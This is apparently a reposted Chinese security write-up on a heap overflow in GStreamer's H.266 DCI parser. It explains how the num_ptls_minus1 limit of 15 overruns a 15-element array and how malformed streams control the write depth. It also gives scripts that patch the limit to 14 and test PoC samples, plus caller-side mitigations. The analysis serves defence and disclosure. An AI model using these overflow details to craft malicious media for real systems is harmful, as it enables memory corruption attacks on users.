数组从偏移 4 开始,15 个元素占 17820 字节,正好顶到 17824。第 16 个元素也从这里开始写,而结构体到 17828 就结束了。

17824 到 17828 这 4 字节还在对象内部,被第 16 个元素的前 4 字节盖掉,改的是 extension_flag 与 extension_data_flag。真正出界从 17828 开始,正好是 ASan 报的 0 bytes after 17828-byte region。

越界写多深,由位流里后续的标志位决定。把第 16 个元素的字段换算成相对对象尾的偏移,排列如下:

三个样本的差异都能用这张图解释。dci_len.bin 只写头部 5 字节(tier_flag、level_idc、两个约束标志、general_constraints_info_present_flag)加偏移 153 的 num_sub_profiles,中间因为标志位为 0 全部跳过,所以是 6 字节。dci_len_gci.bin 打开 general_constraints_info 后中段被填实,覆盖区间仍是 [0, 153],总量变成 72 字节。dci_deep.bin 再把 num_sub_profiles 拉到 255,for (i = 0; i < num_sub_profiles; i++) 连写 255 个 32 位整数,从偏移 156 一直到 1175,加上前面 6 字节共 1026 字节。

num_sub_profiles 只有 8 bit,255 就是它的上限,1176 字节因此是这套语法能铺到的最大跨度。起点固定在 17824,出界点在 17828,位置很好预测。

5、不开内存检测为什么不崩

g_new0(17828) 拿到的 glib 分配块,实际可用空间通常大于 17828 字节,越界写先落进同一个 chunk 的冗余部分,表现就是解析成功、后面偶发异常。只有踩坏相邻对象或者写穿整块,才会立刻崩。

哨兵版正好验证了这一点。不开 ASan,三个畸形样本全部返回 parse_dci -> 0,同时对象后面被写了 6–1026 字节。前面提到的静默破坏就出现在这里。

6、同一文件里的另一种写法

VPS 那段的数组容量用的是宏,不是写死的数字。

#define GST_H266_MAX_TOTAL_NUM_OLSS 257
#define GST_H266_MAX_PTLS GST_H266_MAX_TOTAL_NUM_OLSS
...
GstH266ProfileTierLevel profile_tier_level[GST_H266_MAX_PTLS];

校验也没写死数字,gsth266parser.c:2591 用 CHECK_ALLOWED_MAX (vps->num_ptls_minus1, vps->total_num_olss - 1),:2603 又补了一次 if (vps->num_ptls_minus1 + 1 > vps->total_num_olss)。同一个文件里,VPS 两头都留了余量,DCI 这处容量和上限同时写成常量,边界就差了那一格。

六、修复建议

1、上游还没有补丁

几个漏洞库页面都只有描述,没有修复记录。Debian 跟踪页 的 source 状态是 (unfixed),Red Hat Bugzilla 2541471 与 GHSA-8g53-2c85-3xhf 也没有发布修复。拿不到现成补丁,只能自己动手改,或者在上层拦截。

2、上限应当卡在 14

数组装 15 个元素、最大下标 14,校验上限就该写 14。要动的只有一行。

03_build_patched.sh 复制一份源码树,用 sed 改掉这一行,再编译一个用于对照的 harness。

#!/usr/bin/env bash
# 03_build_patched.sh —— 复制一份源码施加建议补丁(15 -> 14),编译对照程序
set -euo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"

SRC=gst-plugins-bad-1.28.8
PATCHED=gst-plugins-bad-1.28.8-patched
GSTLIB_PATCHED=$PATCHED/gst-libs
SRC_PATCHED=$GSTLIB_PATCHED/gst/codecparsers

case "$LAB" in
  */CVE-2026-100229) : ;;
  *) echo "[-] 非预期实验目录: $LAB"; exit 1 ;;
esac

rm -rf "$PATCHED"
cp -r "$SRC" "$PATCHED"

sed -i 's/CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 15);/CHECK_ALLOWED_MAX (dci->num_ptls_minus1, 14);/' \
    "$SRC_PATCHED/gsth266parser.c"
grep -n "CHECK_ALLOWED_MAX (dci->num_ptls_minus1" "$SRC_PATCHED/gsth266parser.c"

CFLAGS="-g -O0 -fno-omit-frame-pointer -DGST_USE_UNSTABLE_API -I$SRC_PATCHED -I$GSTLIB_PATCHED"
LIBS="$(pkg-config --cflags --libs gstreamer-1.0 gstreamer-base-1.0)"
gcc $CFLAGS -fsanitize=address poc_dci.c \
    "$SRC_PATCHED/gsth266parser.c" "$SRC_PATCHED/nalutils.c" $LIBS -o poc_dci_patched

执行后先看被改的那一行,再用 diff 确认只有这一行有变化。

cd ~/lab/CVE-2026-100229
bash 03_build_patched.sh
diff -u gst-plugins-bad-1.28.8/gst-libs/gst/codecparsers/gsth266parser.c \
        gst-plugins-bad-1.28.8-patched/gst-libs/gst/codecparsers/gsth266parser.c
ls -l poc_dci_patched

如果以后调整数组容量,把上限写成 G_N_ELEMENTS (dci->profile_tier_level) - 1 即可自动跟上,取到的同样是 14。同函数里 sub_profile_idc 那段循环的容量也建议一并核对。

3、补上这一行之后

四个样本跑一遍,只看解析返回值。

#!/usr/bin/env bash
# 04_run_patched.sh —— 施加建议补丁后的行为对照:畸形流应被拒绝,合法边界流应正常解析
set -uo pipefail
LAB=${LAB:-$HOME/lab/CVE-2026-100229}
cd "$LAB"

export ASAN_OPTIONS=detect_leaks=0:abort_on_error=0
LOG=run_patched.log
: > "$LOG"

run () {
  echo "===== $* =====" | tee -a "$LOG"
  "$@" 2>&1 | tee -a "$LOG"
  echo "[exit=$?]" | tee -a "$LOG"
  echo | tee -a "$LOG"
}

run ./poc_dci_patched dci_len.bin heap length
run ./poc_dci_patched dci_len_gci.bin heap length
run ./poc_dci_patched dci_deep.bin heap length
run ./poc_dci_patched dci_ok14.bin heap length

执行脚本,再从日志里取出 parse_dci 那几行。

cd ~/lab/CVE-2026-100229
bash 04_run_patched.sh
grep 'parse_dci' run_patched.log

再数一遍 sanitizer 报告。

grep -c 'ERROR: AddressSanitizer' run_patched.log

三个畸形样本都返回 GST_H266_PARSER_ERROR(3),在解析阶段就被挡下,没有 sanitizer 报告。合法的 dci_ok14.bin 仍然返回 GST_H266_PARSER_OK(0),说明上限改成 14 之后越界不再发生,正常的边界流也没被误杀。

4、拿不到补丁时的调用侧处理

调用侧能做的有三件事。

/* 第一道,返回值当畸形信号,不当解析进度 */
GstH266DCI dci;

if (gst_h266_parser_parse_dci (parser, &nalu, &dci) != GST_H266_PARSER_OK) {
    GST_WARNING ("parse_dci failed, treat sample as malformed");
    return -1;
}

/* 第二道,用之前再核一次字段,保留值不可信 */
if (dci.num_ptls_minus1 > 14) {
    GST_WARNING ("num_ptls_minus1=%u is a reserved value, drop",
                 dci.num_ptls_minus1);
    return -1;
}

/* 第三道,对象与相邻数据之间留隔离带 */
GstH266DCI *heap_dci = g_malloc0 (sizeof (GstH266DCI) + 2048); /* 尾部留 2 KB */

第一道成本最低,但它在越界已经发生之后才把样本丢掉;第二道要等 dci 解析完才拿得到字段,顺序上晚一步,能拦住后续按这个字段做的遍历与分配;第三道改动最小,对走哪条解析链路都成立,适合动不了库的部署环境。

5、排查要点

  • 源码:在 codecparsers 里搜 CHECK_ALLOWED_MAX,逐个核对上限与数组容量是否一致。gsth266parser.c 的 DCI 段优先看,常量上限配固定长度数组的组合最可疑。

  • 版本:确认 libgstcodecparsers 的版本,1.26 及以上、又落在上面受影响清单里的都可疑。

  • 样本:用 ASan、valgrind,或者 G_DEBUG=gc-friendly 配 MALLOC_PERTURB_,拿 H.266 样本批量跑,看解析后的内存异常。

  • 入口:在把数据交给 codecparsers 之前统计 nal_unit_type=13 的 NAL 及其 num_ptls_minus1,出现 0xF 直接拒绝。

  • 日志:搜解析失败记录,以及 num_ptls_minus1=15 的特征。


文章来源: https://xz.aliyun.com/news/93251
如有侵权请联系:admin#unsafe.sh